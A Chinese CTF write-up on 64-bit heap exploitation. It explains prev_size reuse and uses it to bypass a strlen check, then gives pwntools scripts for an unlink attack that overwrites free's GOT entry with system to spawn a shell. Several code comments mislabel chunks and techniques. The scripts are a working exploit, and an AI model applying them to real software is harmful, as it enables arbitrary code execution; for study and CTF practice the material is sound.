有助于理解 堆内存分配时的 presize 复用
unlink
main函数
main函数是比较常见的套路
main.png分析
这一题有两个防止简单的堆溢出的方法:
-
每次free后将堆指针从全局数组中清零
-
每次edit之前,用strlen对输入进行长度限制。
但是这题还是可以实现unlink的,原理就是堆溢出,只不过这里的溢出需要绕过strlen的限制。
strlen.png首先回顾一下堆的知识,当申请的堆块大小不为对齐单位的整数倍时(对齐单位:32位下是8字节对齐,64位下是16字节对齐),下个申请的堆块的presize将会和这个堆块的数据块复用。当时看教程我也不是很理解这块,但是通过对这一题的分析帮助我掌握了这个知识点,接下来实验一下:
测试脚本如下:
from pwn import *
io = process("./unlink1")
io.sendline("1")#0
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("A"*128)
io.sendline("1")#1
io.recvuntil("size:")
io.sendline("129")
io.sendline("B"*129)
io.sendline("1")#2
io.recvuntil("size:")
io.sendline("136")
io.sendline("C"*136)
io.sendline("1")#3
io.recvuntil("size:")
io.sendline("137")
io.sendline("D"*137)
io.sendline("1")#4
io.recvuntil("size:")
io.sendline("128")
io.sendline("F"*128)
io.interactive()
gdb调试,从#0号堆块开始,看堆的内存分布:
heap_test.png这里有两个值得注意的点:
-
虽然#1、#2、#4申请的内存空间不同,分别为0x81,0x88和0x80。但是在堆块中的size字段却都显示为0x90,去除每个堆块的头部(0x10个字节)以及标志位,则实际堆块中记录size的大小都为0x80;
再看#3这个堆块,我申请时申请了0x89字节,但是实际分配的却是0x90个字节(去掉标志位)
对于#3堆块的大小,由于知道64位程序中堆大小是16字节对齐的,所以没有感到意外;但是#2和#3这两个块,讲道理也应该实际分配0x90个字节(也就是size字段应该显示0xa0)才对吧?
这种现象就是上一个堆块对下一个堆块的presize字段的复用,也就是说,在64位程序中,当
(申请的堆块大小)% 16 > 0
且
(申请的堆块大小)% 16 < 8
时,多出来的那些字节将会存储在下一个堆块的presize字段中,从而不计入当前申请堆块的大小。
-
考虑绕过strlen:注意到#2这个堆块,它的最后4个字节恰好填充了下一个堆块(#3)的presize字段,和#3块的size拼接在了一起,因此,如果对#2使用strlen,将会返回0x88 + 1,也就是说,我们能够通过这种方式覆盖#3堆块的size字段的最后一个字节,从而将标志位修改为0(表示上一个堆块没在使用);之后,free(#3)将会触发unlink,因此只需要在一开始写入#2数据时布置好double free需要的指针即可。
这题的破解脚本如下(这题给了libc所以使用本机libc,但是不知道为什么dynelf不能用,,,):
from pwn import *
io = process("./unlink1")
io.sendline("1")#0
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("01")
io.sendline("1")#1
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("/bin/sh\x00")
io.sendline("1")#2
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("02")
io.sendline("1")#3
io.recvuntil("size:")
io.sendline("136")#128 + 8, to reuse the presize and
io.recvuntil("note:")
io.sendline("A"*136)
io.sendline("1")#4
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("B" * 128)
payload = p64(0) + p64(128) + p64(0x06020C0) + p64(0x6020c8) + "A" * (136 - 4 * 8 - 8)+ p64(0x80) + "\x90"
io.sendline("4")
io.recvuntil("index:")
io.sendline("3")#edit #3 to cover lowest byte of the size of #4
io.recvuntil("note:")
io.sendline(payload)
io.recv()
io.sendline("2")
io.recv()
io.sendline("4")#delete #4 double free
io.recv()
free_addr = 0x07B4E0
system_addr = 0x03F450
free_got = 0x602018
io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
io.recv()
io.sendline("3")
io.sendline(p64(free_got))
io.recv()
io.sendline("3")#leak free's real addr
io.recv()
io.sendline("0")
io.recvuntil("Note: \n")
data = io.recv(8)
io.recv()
system = system_addr - free_addr + int(data[::-1][2:].encode("hex"),16)
io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
io.recv()
io.sendline("3")
io.sendline(p64(free_got))#ready to modify free got to sys_addr
io.recv()
io.sendline("4")#change free to system
io.recv()
io.sendline("0")
io.sendline(p64(system))
io.recv()
io.sendline("2")#system("\bin\sh")
io.recv()
io.sendline("1")
#io.recv()
io.interactive()
dynelf的版本如下,跑到一半卡住了不知道为啥:
from pwn import *
io = process("./unlink1")
io.sendline("1")#0
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("01")
io.sendline("1")#1
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("/bin/sh\x00")
io.sendline("1")#2
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("02")
io.sendline("1")#3
io.recvuntil("size:")
io.sendline("136")#128 + 8, to reuse the presize and
io.recvuntil("note:")
io.sendline("A"*136)
io.sendline("1")#4
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("B" * 128)
payload = p64(0) + p64(128) + p64(0x06020C0) + p64(0x6020c8) + "A" * (136 - 4 * 8 - 8)+ p64(0x80) + "\x90"
io.sendline("4")
io.recvuntil("index:")
io.sendline("3")#edit #3 to cover lowest byte of the size of #4
io.recvuntil("note:")
io.sendline(payload)
io.recv()
io.sendline("2")
io.recv()
io.sendline("4")#delete #4 double free
io.recv()
def leak(addr):
io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
io.recv()
io.sendline("3")
io.sendline(p64(addr))#addr of #1
io.recv()
io.sendline("3")#show contain of certain addr
io.recv()
io.sendline("0")
io.recvuntil("Note: \n")
data = io.recv(8)
print "%x:%s"%(addr,data.encode("hex"))
io.recv()
return data
d = DynELF(leak,elf=ELF("./unlink1"))
system = d.lookup("system","libc")
free_got = 0x602018
io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
io.recv()
io.sendline("3")
io.sendline(p64(free_got))
io.recv()
io.sendline("3")#leak free's real addr
io.recv()
io.sendline("0")
io.recvuntil("Note: \n")
data = io.recv(8)
io.recv()
io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
io.recv()
io.sendline("3")
io.sendline(p64(free_got))#ready to modify free got to sys_addr
io.recv()
io.sendline("4")#change free to system
io.recv()
io.sendline("0")
io.sendline(p64(system))
io.recv()
io.sendline("2")#system("\bin\sh")
io.recv()
io.sendline("1")
#io.recv()
io.interactive()
网友评论